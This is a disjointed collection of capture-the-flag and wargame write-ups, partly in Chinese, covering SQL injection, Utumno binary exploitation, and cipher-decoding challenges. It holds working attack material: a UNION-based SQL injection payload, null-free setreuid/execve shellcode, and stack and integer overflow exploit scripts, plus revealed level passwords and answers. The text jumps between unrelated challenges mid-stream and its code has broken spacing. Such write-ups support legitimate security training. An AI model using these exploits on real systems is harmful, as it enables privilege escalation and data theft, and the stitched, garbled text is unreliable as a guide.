bin_str = "01010100 01101000 ..." chars = [chr(int(b, 2)) for b in bin_str.split()] print(''.join(chars)) # This text is 7-bit encoded ascii. Your password is ***********.
I have written another include system for my dynamic webpages, but it
seems to be vulnerable to LFI. 一个 PHP LFI 挑战,利用 PHP
松散比较(type juggling)绕过 switch 限制。
SELECT news.*, text.text, text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE'%$input%'OR text.title LIKE'%$input%')
$input 在 SQL 中出现两次,注释符被禁用,故用 MySQL 的
" 做 quote-balancing:
payload 的 "(第 1 列)在 MySQL
默认模式下开启一个双引号字符串,吃掉第二次注入点及之间的所有内容(包括
OR text.title LIKE 分支),直到第二次
union select 后的 "
才闭合。('(第 4 列)和模板残留的 %' 拼接成
('%'),是一个合法的括起来的字符串表达式。最终 UNION SELECT
返回 4 列。
id=3 是 google 新闻在表中的条目 ID(通过枚举
text.title 确定)。
1
goo%') union select ",2,(select group_concat(autor) from level7_news where id=3),('
返回 autor:TestUserforg00gle
970cecc0355ed85306588a1a01db4d80
Level 8 密码:or_so_i'm_told
Level 8 — SQL-Injection
目标:获取 admin 的密码
用户信息编辑页面,注入点在 email 字段(没有转义)。
SQL 为 UPDATE 语句:
1
UPDATE {table} SET name='$input', email='$input', icq='$input', age='$input'WHERE id=1
Level 0: The binary is exec-only (no read permission). Calls
puts() with the password string embedded in
.rodata. Use LD_PRELOAD to hook
puts() and dump the binary's data section from within the
process:
# Build the shellcode, verify it has no nulls or / $ python3 -c " from pwn import *; context.arch='i386' sc = asm('xor eax,eax; xor ebx,ebx; mov bx,0x3e82; xor ecx,ecx; mov cx,0x3e82; mov al,71; int 0x80; xor eax,eax; push eax; push 0x65646f63; mov ebx,esp; push eax; mov edx,esp; push ebx; mov ecx,esp; mov al,11; int 0x80') import sys; sys.stdout.buffer.write(sc) " | xxd | head -1 # Should show no 00 or 2f bytes
# Set up the directory: symlink to /bin/sh, shellcode as filename $ mkdir /tmp/x $ ln -sf /bin/sh /tmp/x/code $ python3 -c " import sys, os; from pwn import *; context.arch='i386' sc = asm('xor eax,eax; xor ebx,ebx; mov bx,0x3e82; xor ecx,ecx; mov cx,0x3e82; mov al,71; int 0x80; xor eax,eax; push eax; push 0x65646f63; mov ebx,esp; push eax; mov edx,esp; push ebx; mov ecx,esp; mov al,11; int 0x80') # Create file with raw shellcode bytes as filename (must be bytes path) fd = os.open(b'/tmp/x/sh_' + sc, os.O_CREAT | os.O_WRONLY); os.close(fd) " $ /utumno/utumno1 /tmp/x $ cat /etc/utumno_pass/utumno2
The shellcode does setreuid(16002,16002) (utumno2 UID =
0x3e82) then execve("code", ["code"], NULL) where "code" is
a symlink to /bin/sh. The binary's run() calls
chdir(argv[1]) before executing the shellcode, so the
relative path "code" resolves correctly under /tmp/x/.
RdUzprHKSm
level 2 → level 3
Level 2: Binary checks argc == 0 then does
strcpy(local_buf, envp[9]). Need argc == 0 via
execve(path, NULL, envp). The 10th envp entry
(envp[9]) overflows the 12-byte buffer, overwriting saved
EBP and return address. Put NOP sled + shellcode in an earlier envp
entry and point the return address there.
Write a Python script using pwntools + ctypes to call
execve() with crafted envp:
index 8: NOP×52 + shellcode (return address points
here)
index 9: "AAAA×4" + p32(ret_addr) — overflow data,
strcpy'd into buffer
Find the NOP sled address in GDB, update ret_addr, then
run:
1 2 3
$ python3 exploit.py $ id $ cat /etc/utumno_pass/utumno3
h3kVKJZuid
level 3 → level 4
Level 3: Byte-by-byte return address overwrite. Binary reads pairs of
bytes (position, value) via getchar() in a loop. The
position byte is XOR'd with (iteration * 3) before being
used as an offset from [ebp - 0x24] (or
[ebp - 0x20] on the current binary version — check the
offset with GDB). Need to compute position bytes that target EIP after
the XOR transform.
The loop runs up to 24 iterations. We send 4 pairs for the 4 bytes of
the return address, then fill remaining slots with harmless writes.
Shellcode goes in EGG environment variable with a NOP
sled. Find the sled address with GDB.
Level 4: Integer overflow in memcpy(). Arg1 is converted
with atoi(), checked as 16-bit ≤ 63, but the actual
memcpy size uses the full 32-bit value. Pass
65536 as arg1 → 16-bit truncation yields 0 (≤ 63), but
memcpy copies 65536 bytes.
Offset to EIP: 65286 bytes. Put NOP sled + shellcode in the buffer
itself (second argument), with return address pointing into the NOP
sled.
# NOP address (find with GDB; 0xfffddd2a on gibson-1) NOP_ADDR = 0xfffddd2a payload += struct.pack('<I', NOP_ADDR) # Pad to fill 65536 bytes (matches the overflow size via arg1) payload += b'\x90' * (65536 - len(payload))
# Pass payload as argv[2] directly (no shell byte-corruption) subprocess.run(['/utumno/utumno4', '65536', payload])
1
$ python3 exploit.py
vY134qxapL
level 5 → level 6
Level 5: Requires argc == 0 (or argc == 1
with argv[0][0] == 0). Accesses argv[10] which
equals envp[9] (since argv[0]=NULL for argc=0). The
hihi() function does strlen(envp[9]); if >
19 chars, uses strncpy(buf, envp[9], 20) overwriting
12-byte buffer + saved EBP + return address. Shellcode goes in
envp[8].
Critical: On this server,
execve(path, NULL, envp) sets argc=1 with
argv[0]="". So argv[10] = envp[8], not
envp[9]. Need to swap: envp[8] = overflow
data, envp[9] = shellcode with NOP sled.
Level 6: Table-based key-value store with 3 args: position (base10),
value (base16), description (string). A write at
[ebp + pos*4 - 0x30] with position = -1 overwrites the
malloc pointer at [ebp - 0x34]. Then
strcpy(corrupted_malloc_ptr, argv[3]) copies description to
the overwritten address — a controlled write to anywhere.
Attack: Position -1 overwrites the
malloc pointer at [ebp - 0x34] with the return
address as an integer. Then strcpy(corrupted_ptr, argv[3])
copies the packed shellcode address to the return slot — hijacking
EIP.
Write primitive chain:
[ebp - 0x34] = ret_addr via the table write (pos=-1,
value=0xffffda9c)
strcpy(0xffffda9c, argv[3]) — writes 4 bytes of packed
NOP address to the return slot
Function returns → EIP = NOP sled in EGG → shellcode
# Find these on the server via GDB (varies per environment): # EBP ≈ 0xffffda98 → RET at 0xffffda9c # NOP sled in EGG ≈ 0xffffddb0 ret_addr_loc = 0xffffda9c# write target: return slot nop_addr = 0xffffddb0# shellcode landing zone in EGG
argv = (c_char_p * 4)() argv[0] = b'/utumno/utumno6' argv[1] = b'-1' argv[2] = f'{ret_addr_loc:#x}'.encode() # overwrite malloc ptr → ret addr argv[3] = struct.pack('<I', nop_addr) # strcpy'd to ret slot
Address finding: Use GDB on the server to get EBP
and NOP location. GDB vs non-GDB stack shift is ~0x60 on gibson-1 (from
extra env vars GDB adds). Run the exploit directly (not in GDB) with
addresses found via GDB + known offset.
VHOuCx7iA5
level 7 → utumno8
Level 7: Stack BOF with setjmp/longjmp.
Binary allocates a 288-byte buffer at [ebp-0x120], a
jmp_buf at [ebp-0xa0] (128 bytes into buffer),
calls _setjmp, strcpy from argv[1], then
longjmp.
glibc 2.39 PTR_MANGLE: longjmp uses
pointer mangling on ESP and EIP (XOR with thread-local secret + rotate
left 9). Only EBP is stored/restored raw. Direct EIP overwrite via
jmp_buf doesn't work.
Strategy: Overwrite jmp_buf[3] (EBP,
NOT mangled) at buffer offset 140 with the buffer address. After longjmp
restores EBP = buffer_addr, the leave; ret sequence at
vuln+84 pivots there.
Payload (144 bytes, null at byte 144 preserves
mangled ESP/EIP):
1 2 3 4 5 6 7 8
buf[0-3]: junk (popped into EBP by leave) buf[4-7]: buf_addr + 8 (popped into EIP by ret) buf[8-127]: shellcode + NOP padding (pwntools generates ~90 bytes) buf[128-131]: EBX (any) buf[132-135]: ESI (any) buf[136-139]: EDI (any) buf[140-143]: buf_addr (jmp_buf.EBP → stack pivot) null at 144
Two critical details:
Null-free shellcode: The shellcode must NOT contain
null bytes (strcpy stops at the first null). Use
mov bl, val; mov bh, val instead of
mov ebx, val32 which embeds nulls in the high bytes.
Avoid /bin/sh: Dash drops EUID to RUID on startup
(privilege sanitization). Use
execve("/bin/cat", ["/bin/cat", "/etc/utumno_pass/utumno8", NULL], NULL)
instead — no shell, no privilege drop.
Buffer address finding: Since
randomize_va_space=0 but GDB subtly shifts the stack, use a
test shellcode (exit(42)) to brute-force the address. On
gibson-1 with full SSH environment, buffer =
0xffffda2c.
# ============================================================ # Text 19 — Too Much 1 # Known solution: R2D2:C3PO:BB8 # Structure: each char encoded as 5 hex chars # First n hex chars = separators (1 per char) defdecode_text19(ct): result = "" iflen(ct) == 65: data = ct[13:] else: raise ValueError(f"Unexpected ciphertext length: {len(ct)}")
for i inrange(0, len(data), 4): pair = data[i : i + 4] iflen(pair) < 4: break offset = int(pair[0:2], 16) enc = int(pair[2:4], 16) diff = (enc - offset) % len(CHARSET) if0 <= diff < len(CHARSET): result += CHARSET[diff] else: result += "?"
# Fixed version has 2 key chars prefix iflen(ct) == 76andlen(result) > 2: return result[2:] return result
Par -> 很像 Paris 的开头 Lan -> 很像 London 的中段/开头线索 aaND -> 有明显的 N/D 大写结构,像 NewYork 这类拼接地名的残片
也就是说,算法至少泄露出“城市名串”的轮廓。再结合 Text 20
明文长度必须是 18 字符,最自然的补全是:
1
ParisLondonNewYork
用 solve API 验证:
1
solve?id=20&solution=ParisLondonNewYork -> 1
ParisLondonNewYork
已排除的方向
这些方向已经用 oracle 样本和 held-out
测试排除,不值得无新假设地重复:
1 2 3 4 5 6 7 8
exact 5-hex token dictionary inline/front/split-half/first-byte key 布局 (b-a)%71, (a-b)%71, +/- prefix, xor, raw byte first K hex as global key/nonce affine forms mod 71/72/128/256 per-position naive Bayes / local feature classifier Text20 -> Text23 子块投票迁移 solve API 低置信候选枚举
尤其是统计模型很容易在 constant corpus 上过拟合。用 random plaintext
做 5-fold held-out 后,top5 基本等于随机基线:
#!/usr/bin/env python3 """Build character mapping from trytodecrypt.com encrypt API. Usage: trytodecrypt_get_char_map.py <text_id> <api_key> Encrypts each character in the charset via the API, maps full response -> character. Parallel requests for speed. Outputs a sorted Python dict literal. """ import sys import urllib.parse import urllib.request from concurrent.futures import ThreadPoolExecutor, as_completed
C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! " URL = "http://api.trytodecrypt.com/encrypt?key={key}&id={id}&text={text}"
defencrypt(ch, text_id, api_key): url = URL.format(key=api_key, id=text_id, text=urllib.parse.quote(ch)) try: with urllib.request.urlopen(url, timeout=10) as resp: return resp.read().decode().strip() except Exception as e: returnNone
if __name__ == "__main__": text_id = sys.argv[1] api_key = sys.argv[2]
mapping = {} total = len(C) with ThreadPoolExecutor(max_workers=12) as pool: fut_map = {pool.submit(encrypt, ch, text_id, api_key): ch for ch in C} for i, fut inenumerate(as_completed(fut_map), 1): ch = fut_map[fut] enc = fut.result() if enc: mapping[enc] = ch print(f"\r [{i}/{total}] {repr(ch)} -> {enc or'FAIL'}" + " " * 10, end="", file=sys.stderr, flush=True) print(file=sys.stderr)
if mapping: print({k: mapping[k] for k insorted(mapping.keys())}) else: print("{}") sys.exit(1)
result = "" for i inrange(0, len(ct), 4): chunk = ct[i : i + 4] if chunk in reverse_mapping: result += reverse_mapping[chunk] else: result += "?" return result
It seems that the simple substitution ciphers are too easy for you.
From my own experience I can tell that transposition ciphers are more
difficult to attack. However, in this training challenge you should have
not much problems to reveal the plaintext.
A transposition cipher where adjacent character pairs are swapped.
The message includes: "Wonderful. You can read the message way better
when the letters are in correct order. I think you would like to see
your password now: XXXXXXXX"
Solution
Swap each adjacent pair of characters:
1 2 3 4 5 6
ct = "oWdnreuf.lY uoc nar ae dht eemssga eaw yebttrew eh nht eelttre sr..." chars = list(ct) for i inrange(0, len(chars) - 1, 2): chars[i], chars[i+1] = chars[i+1], chars[i] result = ''.join(chars) # result: "Wonderful. You can read the message way better when the letters are in correct order..."
I guess you are done with Caesar I, aren't you? The big problem with
caesar is that it does not allow digits or other characters. I have
fixed this, and now I can use any ascii character in the plaintext. The
keyspace has increased from 26 to 128 too. /
Enjoy!
Caesar cipher with full ASCII range (0-127). The keyspace has
increased from 26 to 128.
Solution
The cipher bytes are displayed as hex values. Decode by trying all
128 shifts:
The space character (0x20) is part of the shift and will appear as a
different character after decoding. Replace the most frequent non-alpha
character with space to read the message.